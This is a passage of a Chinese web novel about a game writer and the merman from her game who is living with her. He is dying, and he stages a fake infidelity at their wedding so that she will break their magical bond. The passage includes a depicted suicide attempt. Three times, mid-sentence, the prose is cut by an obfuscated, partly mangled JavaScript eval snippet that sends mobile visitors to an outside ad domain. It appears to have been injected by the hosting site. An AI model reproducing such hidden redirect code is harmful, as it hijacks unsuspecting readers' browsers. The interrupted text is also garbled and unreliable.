她好不容易,好不容易背井离乡从原生家庭中逃出来,进入这个不看重学历的公司,租下这个离公司最近却只有四十平米的出租屋。 她在海因身上付出不知道多少努力,就是希望能通过这个角色获得一笔丰厚的奖金,还上自己欠下的贷款和租金。 她整天蜗居在这里,连袋装泡面都不舍得买,将伙食费一压再压。 她灌注的全部心血,就这么全都没了。 什么都没了…… 只剩下这串冰冷的机械数据。 “异人小姐是在为我哭泣吗?” “对不起……” 海因的声音从背后出现,张雯以为是出现了幻听,并未回头,直到一双手从身后将她抱住,男人银白色的长发垂到她脸颊上。 她才猛的回头,原本在电脑中只是一个立绘的海因,活生生出现在她惊愕的目光中。 她有些害怕这是幻觉,试探着问:“海因?” “是我。”海因直直看向张雯,丝毫不掩饰眼中浓烈的爱意。 “是幻觉吗?”张雯还是不敢信,她伸出手想去触摸,海因察觉到,低头将脸贴听到她的手心,眼神眷恋:“不是幻觉,我们回来了,我来到你的家乡了,雯雯。” 张雯狠狠在自己胳膊上掐了一把,疼得脑袋清醒了许多。 海因心疼的用指腹轻轻揉着被她掐红的地方,用人鱼之力帮她抹去伤痛:“别伤害自己……” “海因。” 虽然这一切都难以让人相信,但张雯还是扑到他怀里,这一次,她哭的声音更大。 海因没有劝她不哭,紧紧抱着她,让她将全部的情绪用眼泪来宣泄。 不知道哭了多久,张雯情绪终于安定下来,大悲过后就是大喜,她检查了海因身上所有的小细节,发现都和自己的设定一样,而且记忆还是游戏通关后的,才开始思考现实问题。 “海因,有个事情我必须要和你说一下。” “什么事情?” “我现在还没有钱养你。” 她养自己一个人就够麻烦的了,现在还要养海因。 海因发出轻笑:“不需要你养我,我可以养你的,异人小姐。” “不用这么叫我,叫我张雯就好了。”脱离剧本回归现实,这种称呼听着让人觉得有些尴尬。 “好。”海因重复一遍:“我可以养你,雯雯。” 他眨了眨眼,两滴泪从他眼角滑落,落在地上变成两颗珍珠:“可以用珍珠。” 张雯这才想起来,在撰写剧本的时候,为了让这条不谙世事的人鱼被财迷主控捡回去,特意给他设定成眼泪会变成珍珠。 张雯将地上两颗品质极高,散发着贵气光泽的珍珠捡起,抱住海因的脖子亲了一口:“有你真好。” “能帮到你就好。” 海因淡淡微笑,可微红的耳朵无法掩饰他内心的小激动。 10.文昌贵人 第二天,张雯带着珍珠去珠宝店换了些钱,哪怕因为珍珠来历不明而被压价,也换了不少钱,解了目前的燃眉之急。 海因知道后又奉上更多珍珠,他们靠着这些珍珠换来的钱换了套大一点的房子,且有了一些富余后,张雯就不愿意再让海因流泪。 她开始另谋出路,可现在就业环境不像她刚进入社会的时候,低学历让她连面试的门槛都进不去,哪里还有机会展示自己的本事。 她不再寻求同类型的工作,找到一些临时工做着。 临时工不如她之前忙碌,她闲下来,开始捡起自己童年梦想实现。 海因整天待在家中不知道做什么,便在网上学习张雯所在世界的知识,意外打开投资大门。 人鱼的高智商和过目不忘的能力使他学习速度比别人快不知道多少倍,他拿了一部分资金在网上做投资,凭借自身实力和运气的加持,一个月之后,赚的盆满钵满。 他把账户余额打开给张雯看,试图将又要出门上班的张雯留在家中陪自己:“雯雯,我可以赚钱养你,你可不可以找个清闲一点都工作,多留在家里陪陪我,我需要你。” 这房子就像是他的囚笼,将他束缚在这里。 离开,他无法见到心爱之人。 留下,他就要忍受等待煎熬。 “好。”刚被辞退准备再找新工作的张雯听到他的请求,把包放下,海因递上手机,张雯细数着账户上的余额,问:“你怎么赚到这么多钱的?” “投资。” 张雯感叹了一下人鱼的聪明和赚钱能力,问:“想去漫展玩吗?” 海因这幅样子,想带他出去玩,也只能去漫展之类的地方才不会被人过多瞩目。 “只要和你在一起,我都可以。” 海因不知道什么是漫展,也不想知道,他只在乎是不是和张雯在一起。 “那我买几件cos服,等快递到了我们就去。” 张雯下单了几件cos服,等发货的时候,两人就宅在家中,海因投资赚钱,她用平板写写画画,互不打扰。 在海因的恳求下,张雯将线下的工作放弃,转移到线上,靠画画和同人创作赚钱。 cos服到的第二天,张雯放下手头的画稿,带着海因来到漫展。 海因虽然戴着口罩和帽子,遮得严严实实,但强大的气场还是吸引了不少人的目光,纷纷来找他集邮。 “老师,你的美瞳在哪里买的,可视度怎么样,可以给我一个链接吗?” “老师你出的是什么角色,可以集邮吗?” “老师,你的头发是自己做的还是找的毛娘啊,哪个毛娘做的这么好看?” 海因被围的难受,眼见张雯上厕所回来,投来眼神求助,张雯上前为他解围:“抱歉啊各位,我弟弟他有点社恐,是被我拐过来的,不好意思能给他一些空间吗?” 来漫展的coser都很有素质,听到海因是个社恐,嘴上边说着不好意思,身体边飞速往旁边散开,只远远瞻望。 脱离人群包围,海因松了一口气。 张雯把他拉到无人的角落,发现他情绪有些低落:“怎么了,不喜欢这里吗?” 海因摇摇头,说出让自己情绪低落的原因:“雯雯,你只是把我当弟弟吗?” “嗯?” “我以为你是爱我才带我来你的家乡的,如果你不爱我的话,你爱的是谁,是那条龙还是那只狐狸,还是其他两个?” 海因眼神幽怨,无声责备张雯。 张雯又一次深刻发觉,海因只是一串数据,在按照游戏设定好的剧本走。 她解释:“没有,我只爱你,刚刚只是找个借口支开他们。” “可是,自从回来到现在,你亲我的次数一只手都数的过来,回来之前你不是这样的……” 张雯踮起脚尖,在这个无人的角落,第一次吻上海因的唇,堵住他接下来的话。 这是海因来到这里获得的,第一个认真的吻。 他愣了一下,很快从被动变为主动,将吻逐渐加深。 一吻结束,海因嗓音变了,他眼中的欲I望毫不遮掩,直勾勾盯着张雯:“雯雯,我想回家了。” “好,我们回家。” 在遇到海因之前,张雯无数次幻想过,会有一个人来爱自己,和自己组建一个幸福的家庭。 但是她知道,自己这种在情感中生了病的人,是不可能拥有爱情的,更别说什么幸福家庭。 直到海因跨越次元来到她身边,生活翻天覆地,过往的孤单被巨大的幸福盖住,她初尝爱的味道,从此着迷上瘾,深陷其中,不愿自拔。 * 凌晨。 张雯睡得很熟,海因从被窝钻出来,打开电脑查询情敌的名字,发现自己和情敌们只是一个叫《跨越次元之恋》的游戏中的一段数据。 海因在电脑前坐了许久,想到隔壁房间有个上锁的柜子,张雯从来不打开给他看。 他趁着张雯还在熟睡,溜到隔壁,用法术解开柜子的锁,翻出被张雯藏着不给他看的资料。 厚厚一沓纸,全是关于他的详细资料。 “海神之子海因,身份人鱼,年龄五百岁……” “通关游戏可以任选一个男主带回现实世界。” “海因上线日……” “负责人张雯……” 他重新搜索这个游戏,看到游戏已经关服,且自己没能成功上线,舒了一口气。 还好,他是特殊的,是属于雯雯一个人的。 海因将东西摆回原先的模样,回到房间,张雯被他折腾的太累了,还在熟睡,没有发现他离开。 他躺回床上,将胸膛贴到张雯后背,伸手将她圈住。 怀里的人下意识翻身,转过来把脸贴在他的胸膛上,和他相拥而眠。 “雯雯……” 海因低头,在张雯额间落下一吻,才抱着她睡去。 第二天,张雯醒来,伸了个懒腰,发觉枕边没有人,撑着酸累的身体起床来到厨房。 海因正在跟视频学习做早餐,见她过来,将手机关掉:“早餐快好了,去洗漱过来吃饭吧。” “好。” 张雯刷牙洗脸后坐在餐桌上,看着海因端着两份早餐从厨房出来,放在她面前。 “我买了一套别墅,今天就收拾东西搬过去吧。”海因脱下围裙搭在椅背上坐下。 “买别墅做什么?” “这里太吵了。” 张雯想起他耳力比人类好,点点头:“好。” 两人吃完饭就开始收拾东西,东西不多,张雯请搬家公司先把带锁的柜子搬到别墅,再收拾其他东西。 他们东西不多,一上午就能全部搬完。 海因买的是一套带游泳池的别墅,搬家后,他有事没事就把尾巴放出来在水里泡着玩。 张雯将自己准备好的漫画发在网上连载更新,为它取名为《人鱼之恋》。 因为是根据自己真实生活改编,加上她本身就不错的剧本撰写能力和绘画能力,她的漫画火了。 在人生的第二十五个年头,张雯迎来她第一道彩虹。 她童年梦想当漫画家的愿望实现,还有个很棒的男朋友,生活的每一天都像是在蜜罐子里,只剩下甜。 可生活不会一帆风顺,彩虹也不会一直挂在蓝天。 海因的身体出现问题。 他的双腿退化成鱼尾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14978413|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 情正浓时,张雯不解的勾着他的脖子:“这会儿你变什么鱼尾?” “我没有……它自己变的。” “怎么回事儿?”张雯严肃起来,“你哪里不舒服吗?” “应该是太久没有泡过海水的原因。”海因试图用法力将尾巴变回双腿,但尝试了几次都失败,额头因为耗力而冒出密密细汗。 张雯慌慌张张:“我现在就让人送海水过来。” 有钱能使鬼推磨,即使是大晚上,张雯也能在网上买到海水并空运过来。 泡过海水之后,海因脸色确实好转许多,尾巴又变回人类双腿。 张雯悬着的心这才放下来。 之后,腿变成鱼尾的情况开始频繁出现。 从一开始的一年一次到三个月一次,又从三个月到一个月一次,再到现在一个星期一次。 张雯很担心,但看到海因身体在泡完海水后再没有任何问题,只能干着急。 她恶补了许多海洋鱼的知识,自学了兽医,但都无济于事,没有一个能真正帮到海因,因为海因是异世界的人鱼。 她隐隐约约预感到,海因陪伴不了她多久了。 她害怕海因离开自己,过度紧张让她开始焦虑,原本好转的病情在复发后变得更加严重。 每当情绪崩溃,她都躲着海因,在海因看不到的地方发泄情绪。 但她又忘了,人鱼耳力很好,能听见她听不见的声音。 她每一次情绪崩溃,他都知道。 海因知道她不想说,也装作不知道,只是尽力制造一些惊喜来哄她开心。 在一次张雯服用完药物忘记将药瓶藏起来后,海因通过搜索药物用途知道了张雯的病情。 他从网上学习心理学知识,用人鱼的歌声哄失眠的张雯入眠,自己的身体却因此一落千丈。 海因强忍着不让自己显露出任何疲态,他想再多努力一些,在自己死去之前,把将张雯的身体治好。 但天不遂他愿。 张雯的身体变得越来越差,开始莫名其妙的头晕目眩,开始长睡不醒。 他不知道这是什么原因,带着张雯去医院做检查也查不出来。 后来,一只路过他窗前的奇怪的鸟告诉他,为什么张雯身体会变差。 他是妖,妖是会吸人精气的。 张雯就是因为被他吸了精气身体才变垮的。 如果不分开,张雯就会死。 鸟推荐他找了几个大师,他把人请来家中,调整了风水格局,又向大师们请教两人的姻缘,每次得到的结果都不太好。 唯一的破解之法就是分开。 张雯意外撞见后大发雷霆,报警把这些大师全都赶了出去。 久而久之,没有人再敢给他们看。 听到这里,青黛没忍住出声打断:“没有大师让你们小两口霍霍,就来霍霍我们家冬冬了?” 海因再次道歉:“对不起。” “你既然找过其他人看,也知道你们二人之间的姻缘如何,为什么还要再来问?” 凛冬问完,海因忽然起身跪在地上:“我不是来求您帮我们在一起的,我是来求您拆散我们,解开我们身上的契约的。” “什么契约?” “在游戏里,我被设定来到岸上,对从渔民手中救下我的主控,也就是雯雯一见钟情,和她签订了契约。 这个契约是单向的,只能由她解开,我提过她不同意,也就是说,只要她想,我就会出现在她身边。” 凛冬和青黛对视一眼,又转头看他:“那你想我们怎么帮你?” “我们约定好一个月后结婚,到时候……”海因看向青黛,“还希望这位大师帮我。” 11.文昌贵人 婚礼当天。 更衣室。 “冬冬,你说人家穿婚纱漂亮吗?” 青黛穿着量身定做的婚纱,对着镜子左照右照,她幻化出的人类身材高挑,这婚纱穿在她身上,比穿在假模特身上还要好看。 凛冬低头玩着手机,并没有接收她这里的信号。 青黛见她这幅不上心的样子,提着裙摆过来打扰她:“你干啥呢?” “婚礼什么时候开始来着?”凛冬给客户回完最后一条消息,反问她。 “我问你话呢?” “你刚刚跟我说话了吗?不好意思我没听到,你刚刚问什么?”凛冬捏了捏眉心,看起来有些疲惫。 “我问你我好不好看,你最近怎么回事儿啊,总是心不在焉的?” “好看。”凛冬先是给出一个让青黛满意的答复,才解释自己最近为什么心不在焉:“这几天天天熬夜抓鬼,没睡好。” “你怎么不叫我一起去?” “叫你干什么?蹲了一个星期,根本没蹲到。”凛冬站起来,“是不是该进场了,我先去前面看着。” “好。” 青黛目送凛冬离开,提着裙子等待入场。 另一边。 越是到快入场的时候,张雯越是紧张,激动的手都在抖。 她试着用深呼吸来缓解自己的紧张,小声对着镜子排练昨天已经不知道排练过多少次的那句话: “我愿意嫁给海因,生生世世,永不分离。” 说完,她对着镜子笑了。 不多时,一旁打理的人将手捧花放在她手心,引导她站在门前等待。 隔着门,她听到外面传来婚礼主持人闷闷的声音:“接下来,让我们掌声欢迎今天的女主角,全世界最美丽的新娘入场。” 门没有被拉开,掌声却如雷霆轰动。 音乐重新响起,主持人也在继续主持婚礼。 张雯意识到不对,问一旁的人:“怎么回事?” “我也不知道。”她推了推门,没有推动,那边好像是被人锁了一样。 “门被人锁住了。” 张雯自己也推了两下,发现推不动,拿着手捧花从外面绕路来到婚礼现场,却见台上,灯光之下,一对璧人正在倒酒。 女人她没见过,男人正是她最爱的海因。 两人站在一起郎才女貌,很是般配,对比之下,她就像一个小丑。 她发了疯似的冲上台去将两人拆开,眼泪止不住往外涌,哽咽着质问:“海因,今天不是我们的婚礼吗,这个女人是谁?” 海因支支吾吾,让张雯更加确信他出轨了,这一个月来在家中发现的一些出轨痕迹也都有了完整解释。 但张雯心中还是不信。 她创造出来的,只会爱上游戏主控的人鱼,真的会爱上别人吗? “看不出来吗,我是他的女朋友,哦不对,现在应该是他的妻子,我们今天结婚了。” 青黛走到海因身旁,挽住他一条胳膊,抬手,将手背朝外,亮出戒指给张雯看。 张雯一眼认出那枚戒指。 那是她和海因一起设计的钻戒,上面刻着的图案,是人鱼的文字,寓意是“此生挚爱”。 婚戒戴在眼前漂亮女人的无名指上是那么合适,像是为她量身订做的尺寸。 张雯将目光从她手上移开,看向海因,希望他能说出一句反驳或者否认的话。 哪怕是谎言,她也愿意信。 现场安安静静,底下坐着的人纷纷屏住呼吸吃瓜。 “对不起……” 人鱼的声音穿透麦克风,在整个婚礼现场回荡。 吃瓜的人开始议论纷纷。 听到最不想听的三个字后,张雯泄愤一般将手中代表爱的捧花砸到海因脸上,推倒了面前的酒杯,红酒撒了一地,为她的裙摆染上一抹暗红。 海因拉着青黛往后躲。 张雯瞥见,自嘲一笑:“都是假的。” “你,还有你的爱,全都是假的。” 她边说边往后退去,被掉落在地上的酒瓶子绊倒在地后,猛然抓起一片玻璃朝着手腕狠狠划下去…… 现场瞬间乱作一团,底下看戏的凛冬跑上台,三两下用手绢缠住她手腕止血,将张雯送到医院。 海因看着张雯被凛冬抱走,整个人失魂落魄瘫倒在地,心口处疼得让他难以忍受。 和人类签订契约后,可以真切感受她的爱和开心,以及她的痛苦和难过。 所以…… 青黛将自己的裙摆提起来,看到上面也沾上了红酒渍,面露嫌弃:“你还能站起来吗?” “应该可以。” 看他耗费一番努力都没挣扎着站起来,青黛拎着他的后衣领将他拖到更衣室,扔在地上不再管。 她来到水池处,将戒指摘下放到一边,打开水龙头涂上消毒液开始洗手,口中哼着刚刚在婚礼上放的音乐。 一只手忽然扒到洗手台按在戒指上,把她吓了一跳:“有腿不用你爬过来干什么?” “这是我和雯雯一起设计的戒指……”海因一边哭一边虔诚吻在戒指上,“我们差一点就要结婚了。” 青黛:“……” 好心的青黛最后还是没有放任这条鱼不管,接了一捧水泼在他脸上:“戏是你设计的,你哭个毛线。” “我也没想到她会……” 说着海因又哭起来,哭了一会儿,他又问:“我能请你们帮我去看看她还好吗?” “等凛冬那边发消息吧,你别哭了,哭的我心烦。” 青黛嫌弃的又往海因脸上泼了一捧水,试图让他清醒一点。 好久之后,海因缓过来,但还是在地上坐着:“青黛姐,我腿疼,站不起来。” …… 凛冬这边。 张雯被救回来,整个人精神状态都是垮的,如同行尸走肉。 凛冬因为照看了她一夜没睡好,这会儿正在打盹儿。 “大师,你说我的命就这么惨吗?”想到凛冬那日说的话,张雯又觉得一股难受涌上心头。 “小时候,我妈妈不爱我,爸爸总是打我,他们说我是没有用的赔钱货,只疼爱我弟弟。 他们什么脏活累活都丢给我做,我十岁的时候,干完农活回家晚了,连饭都没得吃,他们还嫌我干活慢,把我打了一顿。 他们给我买保险,制造各种意外想让我去死,好拿到高额赔偿金,但我命大,没有死成,他们也因此更讨厌我。 高中毕业之后,他们撕了我的大学录取通知书让我嫁人,给弟弟凑补课费。 我不愿意,就想跑,被他们抓回来打了一顿后嫁给一个傻子,彩礼一共才两万,他们就为了两万块钱把我嫁给一个傻子。 后来我跑了,来到了这里,我开始打零工,学画画卖钱,但是这里房价好贵,我付完房租就没什么钱吃饭了。 最难熬的时候,我就买那种五毛钱一根的棒棒糖,低血糖的时候我就拿出来舔一口,能撑好久。 我就靠着棒棒糖撑着画画,终于有一个小公司看到我的画,愿意接受我,还让我预支工资。 上班之后,为了那一百块钱的全勤,哪怕我高烧到三十九度我都不敢请假。 我起步比同事们晚,只能不停的写,不停的画,然后我们的游戏火了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14983127|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是老板却卷钱跑了。 为什么,为什么有的人可以一辈子都过的很好,我却不能有一点好,我以为我长大就好了,我以为我长大就好了……” 张雯扑在凛冬怀里,几十年来积压在她心里的苦全部说出,听着只是几段话,对她来说却是能将她压死的雨雪风霜。 “为什么……我就想找一个对我好的男人结婚,生一个孩子,组建一个属于我的幸福家庭,为什么就连纸片人也会背叛我。” 张雯哭的喘不上气,凛冬抱着她,任由她将泪水擦在自己肩膀上。 “有时候我就想,我还不如去死了算了,你为什么要救我……为什么不让我去死,我这种人活着有什么用?” 凛冬沉默了一会儿,拿出手机。 “你的《人鱼之恋》很好看,我们都在等你更新。” 张雯止住哭声,用模糊又疑惑的泪眼看向凛冬。 凛冬打开漫画软件,找到《人鱼之恋》漫画的最新一话,点开评论区,清一色全是喊更新的评论。 看着那一个个亲切的“太太”,张雯情绪慢慢稳定下来。 “可是……我现在已经画不出来了。” 这本漫画的灵感来源于她和海因,海因出轨后,她恐怕是再画不出来续篇了。 “不试试又怎么知道呢?你的天赋是你与生俱来的,不是海因给你的。” 凛冬递上平板和笔,张雯犹豫着接过,打开自己常用的画图软件开始写写画画。 《人鱼之恋》的续集她是画不出来一点,一些基础的线条什么的,她倒是能画出来。 她喜欢画画,喜欢写作。 做这些能让她的心沉静下来。 张雯投入其中,不知道多久,心彻底沉静下来,她抬头揉揉发酸的肩颈,发现凛冬正站在窗边往外看。 她忽然生出新的灵感,在平板上写写画画,很快勾勒出一个雏形:“大师,看!” “这画的是我?” 凛冬走过来,仔细端详她的画,虽然脸被隐去,但脖子上那颗很有特色的血珠子,让凛冬认出图上的人是自己。 “我觉得大师站在那里超级飒,就画了。” 凛冬毫不吝啬夸赞:“很好看。” “大师……对不起,我为我之前的话道歉。”张雯为初见时的冒昧话语道歉,“您是真大师。” “没关系。” “大师我有点饿了,要不我们下楼吃点东西去吧,我请你吃饭,你想吃什么?” 张雯说着就要按铃叫护士来拔针,凛冬按住她:“想吃什么我去买。” 张雯仔细想了一会儿,忽然想起来以前自己吃煎饼果子连烤肠都不舍得加,那会儿她想,等以后有钱了,天天都要吃全套的煎饼果子。 可是有钱后,她就很少吃了…… “吃煎饼果子吧,好久没吃了,我要全套的,多加辣。” “好。” “不用去了,我给你们送来了。”青黛不打招呼,从门外进来,把买来的两个煎饼果子和保温瓶放到桌子上,“路过顺手买的煎饼果子和小米粥,你们趁热吃。” “你来干什么?”张雯看见她后又没了好脸色,见她放下东西还不走,还坐在一边后,终于没忍住拿枕头往她身上扔:“我最讨厌你们这些做小三破坏别人家庭的。” 枕头打在身上不痛不痒的,青黛没在意:“还有力气打我,看来恢复的不错。我和海因结婚,你就没有什么想说的吗?” “祝你们锁死,别祸害别人。”张雯恨的咬牙切齿。 怕再聊两句就打起来,青黛直接切入主题:“我今天来找你,是让你解除和海因的契约的。” 12.文昌贵人 “什么契约?”张雯一时间没想起来。 “你写的剧本你能不知道?”青黛说,“我记得契约解除需要你对他心死,到现在契约还没有解除,怎么,张雯,你还爱着他吗?” 末了,她补充一句:“人和妖是没有好下场的。” “那你就和他有好下场了吗,你不也是人吗?” “谁跟你说我是人的?姑奶奶我可是蛇。”青黛显露本体,变成一条小青蛇,爬上张雯的床故意吓唬她。 张雯怕蛇,吓得身体僵住,甚至忘了喊凛冬帮忙。 在蛇信子快要舔到张雯脸上的时候,凛冬忽然抓起蛇头,将青黛从窗户扔出去,全程不过数秒。 张雯:“!!!” 就这么水灵灵扔下去了! 这可是六楼! “大,大师……她不会来寻仇吧。” 凛冬不怕她怕啊,那条蛇来报复她怎么办,她只是个人类,怎么跟妖斗? “不会。”凛冬关上窗户,拿了一个煎饼果子给张雯吃,“吃点东西吧。” 张雯接过煎饼果子,不敢吃,怕青黛往里面加什么东西。 但是为了结婚保持身材,她已经饿了几天,再加上这么一折腾,胃确实有些受不了。 “大师,她不会在里面加什么奇怪的东西吧?” “她不敢。” 内心挣扎了一番,张雯最后还是在香味的诱惑下解开塑料袋咬了一口。 煎饼果子还是熟悉的味道,香香辣辣,还加了她最爱的薄脆和香菜。 经常经历挫折的人其实能更快从挫折中走出。 张雯就是这样。 所以一套煎饼果子就将她短暂治愈。 吃饱喝足,张雯抽了两张纸巾擦嘴,凛冬看她吃完,问:“需要我帮你们解开契约吗?” 张雯摇摇头:“那条蛇说的不错,我心里确实还有海因,不过我不想解开契约可不是为了他,我只是不想看他们两个好过而已。” 想起过去幸福的点点滴滴,张雯心里又一阵泛酸:“想不到纸片人也这么不可靠,我还以为他会爱我一辈子呢,大师,你说这世上有生生世世的真爱吗?” “不知道。”凛冬实话实说,“我没见过。” “那大师,你谈过恋爱吗?” “没有,我是出家人。”凛冬本来想说自己修的无情道,又想起来现代的部分出家人是不婚的,便选了个更容易让张雯理解的解释。 “这样啊。”张雯沉默片刻,“大师,你之前是不是说我适合出家来着,你收徒吗?” “不收。” “那大师,你缺师妹吗?或者你看我适合去哪里拜师学艺?” 凛冬沉思一会儿,想到自己手里还有一封介绍信可以用:“你真想好了?” “嗯……” “出家不是说说而已。”看她还犹豫,凛冬婉拒她:“等你真正决定好了,再来找我吧。” “好。” 凛冬看着张雯,欲言又止,最后还是选择闭嘴。 就这样,张雯在医院躺了三天,终于哄着凛冬帮她办了出院。 看着凛冬对自己寸步不离,张雯无奈表示自己不会再寻短见:“大师,我当时纯粹就是脑子抽了才割I腕的,你放心,我不会再为了别人伤害自己了,等我处理完手头的事情,还要再去找你商量拜师的事情呢。” “那你把这个戴着。”凛冬半信半疑,从口袋掏出一个红布包,张雯一边道谢,一边将红布包装到口袋里。 凛冬目送张雯进入别墅,才掏出口袋里一直震动的手机接通:“喂?” 电话那头传来青黛急切的声音:“你还得多久才能回来,你再不回来这条死鱼就真要死了。” “我马上到,抽屉里的丹药你先喂他一颗。” “红色那瓶是吧,我喂过了,没用,他开始掉鱼鳞了,还是彩色的呢。” 青黛从浴缸中捞出一片鱼鳞,发现银白色的鱼鳞在自然光照下还能变成彩色,觉得有些好玩,就对着光玩了一会儿。 “水……” 她身后,海因唇色发白,抬手拍打水面试图引起青黛注意。 “不说了你快点,他晕了。”青黛听到水声,转头看见刚刚还醒着的鱼现在晕了过去,挂了电话,施法术帮他维持形态。 凛冬到时,海因的身体已经变得半透明,躺在空荡荡的浴缸中喘着微弱的气息。 青黛擦干净手上的水,十分惋惜:“冬冬,没有爱情,他要死翘翘了。” “用法术也不管用吗?” “不管用。”青黛想了个歪点子出来,“或许双修管用,要不我去把张雯绑回来?下点毒她不会记得的。” “人类的律法白学了?”凛冬掏出一道符,丢入浴缸中,很快浴缸中被符引来的水填满。 她又去拿了一颗丹药塞到海因口中,观察海因的身体变化。 青黛蹲在浴缸旁边,好奇的拨弄着里面的水,水富含灵力,触感很柔,给她一种被云朵包围的感觉。 海因在水的浸泡下悠悠转醒,看到凛冬,努力发出声音问:“雯雯呢?” “她回去了。” “那就好。”得到想要的答复,海因又闭上眼养神。 看他脱离危险,凛冬放下心离开,青黛跟在她身后出来,跑去隔壁抱来一个盒子。 凛冬问:“这是什么?” “我攒的鱼鳞!” 青黛把盒子打开,里面都是海因脱下的鱼鳞,满满一大盒。 “好看吗?” 凛冬看完感觉自己眼皮在突突跳:“你从他身上拔的?” “我在你心里是那么狠毒的女人吗?这都是我捡的,我这么辛苦照顾他,他不应该给我点报酬吗?” “……算了,你开心就好。” “我要给青竹寄点回去,这鳞片还能发光呢,挂在家里还能当灯泡用。”青黛说着又把箱子抱回去。 她走后,凛冬趴在桌上,刷着手机。 《人鱼之恋》更新了,和现实里发生的一样,主人公也在闹出轨。 读者对这一话并不满意,一小部分在骂,更多的是在猜测男主是不是有苦衷,还为男主想了N多个借口。 看到这些评论,凛冬总感觉要坏事。 和她一样,张雯也在看评论。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14987129|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在看到那些由读者编造出的“苦衷”,她苦笑一声,关掉手机,收拾关于海因的所有资料准备丢掉。 如果真的是有苦衷就好了。 可惜,现实就是连纸片人也会变心。 那个上锁的柜子被她打开,她把资料全都抱出来,一点点翻看。 离职那天,她也是这样,将散落一地的文件捡起来,翻看,排序,凑成完整的资料。 一切又回到了最初的时候。 张雯找到那个U盘,在把U盘丢入垃圾桶前,她突发奇想走到电脑前,插入U盘。 再看一次吧,最后一次,当做告别。 哪怕爱情已经破碎,但相爱过,就该好好告别。 告别后,从此释怀,再不相见,再不怀念。 张雯点开文件,她爱的纸片人又一次出现在她面前。 还有那一句熟悉的台词:“亲爱的异人小姐,不管未来发生什么,我会一直一直陪在你的身边。” “骗子。” 张雯想点关闭,却不小心点到了下一页。 海因虔诚的声音传入耳中: “海神,我的母亲,我请求您,赐我一双人类的双腿,让我去到她的身边,追随她,直到我的灵魂灭亡。” 听完这段虔诚的祈求,张雯主动点了下一页。 新的画面,海因正在向主控介绍自己种族的信仰习俗:“人鱼一族终其一生都在寻找自己的信仰,一旦找到,就会永远追随它,直到灵魂化为海上泡沫。” 主控问:【那你的信仰找到了吗?】 看到那一串文字,张雯猛的站起来,在资料里一顿乱翻。 很快她找到自己最初的设定。 【男主海因在契约生成后,对主控好感度达到100%,无法再降低】 【海因的信仰是主控异人小姐,契约签订后,与主控同生共死。】 【结局彩蛋——哪怕主控没有选择将海因带回现实世界,只要她想,海因就能跨越时空来到她的身边】 “!!!” 胸腔那颗维系整个身体健康运作的心脏开始加速,速度快的让她不得不跟着调整呼吸。 她掏出手机,想打电话给凛冬,又觉得电话说不清楚,便带上U盘和资料,亲自开车来找凛冬。 彼时,凛冬刚安抚好和张雯心脏同频共振的海因。 “她还是放不下我。”海因将手放在胸口上,感受着爱的沉痛,不知道自己是应该开心还是难过。 “生生世世,同生共死”是美好的誓言,但真正面临死亡时,他不再这么认为。 他只要生生世世,不要同生共死。 他爱的人不应该为他失去生命。 他情愿她活着,哪怕一个人,哪怕另嫁他人,也不想看她为自己而死。 他会心疼。 青黛舀起一瓢海水泼到他脸上,想把他的恋爱脑浇醒:“刚刚怎么没给你疼死呢。” 说罢,青黛把塑料水瓢丢到海因身上,不再管他,海因将水瓢捡起来,自己往自己身上浇水。 凛冬听见有人推门进来,支走青黛:“有人来了,你去看看。” 13.文昌贵人 青黛出去没一会儿,把白起领了进来,白起把带来的袋子给凛冬:“你要的衣服。” 他注意到鱼缸里的人鱼,因为没见过,所以不由得多看了两眼,人鱼也好奇的打量着这个身负紫气的人类男人。 “小帅哥,见过人鱼没?”青黛弯腰从浴缸里拿了一片海因脱落的鱼鳞,拿毛巾擦掉上面的水送给白起。 “没见过。” 他没有很好的天赋,只是跟着师父学一些简单的山术,打打酱油而已。 “那你快多看两眼,他活不久了,以后估计就见不到这么好看的人鱼了。” 海因摸摸自己已经掉了一大片鳞片的鱼尾,情绪低落。 “你们忙,我在外面等你们。”白起把手中的鳞片还给海因准备出去,却被凛冬拉住:“别走,等下他能化形了,你就帮他把衣服穿上。” “好。” 凛冬拉着青黛离开,白起在她们走后找了个凳子坐着,等海因化形。 凛冬这边,两人手拉手的样子刚好被刚进门的张雯看见。 张雯瞪大双眼:“大师,你们……” 青黛飞快抽回手,但很显然已经来不及。 张雯手里的资料散落一地,她上前抓住青黛:“你们是合起伙骗我的对不对?” 青黛不回话,只是把手抽回,默默离她远一些。 张雯顾不上其他,只一心找海因:“大师,海因果然没有背叛我是不是,我就知道,纸片人又不是真人,怎么可能会出轨,他人呢?” 凛冬比青黛还沉默。 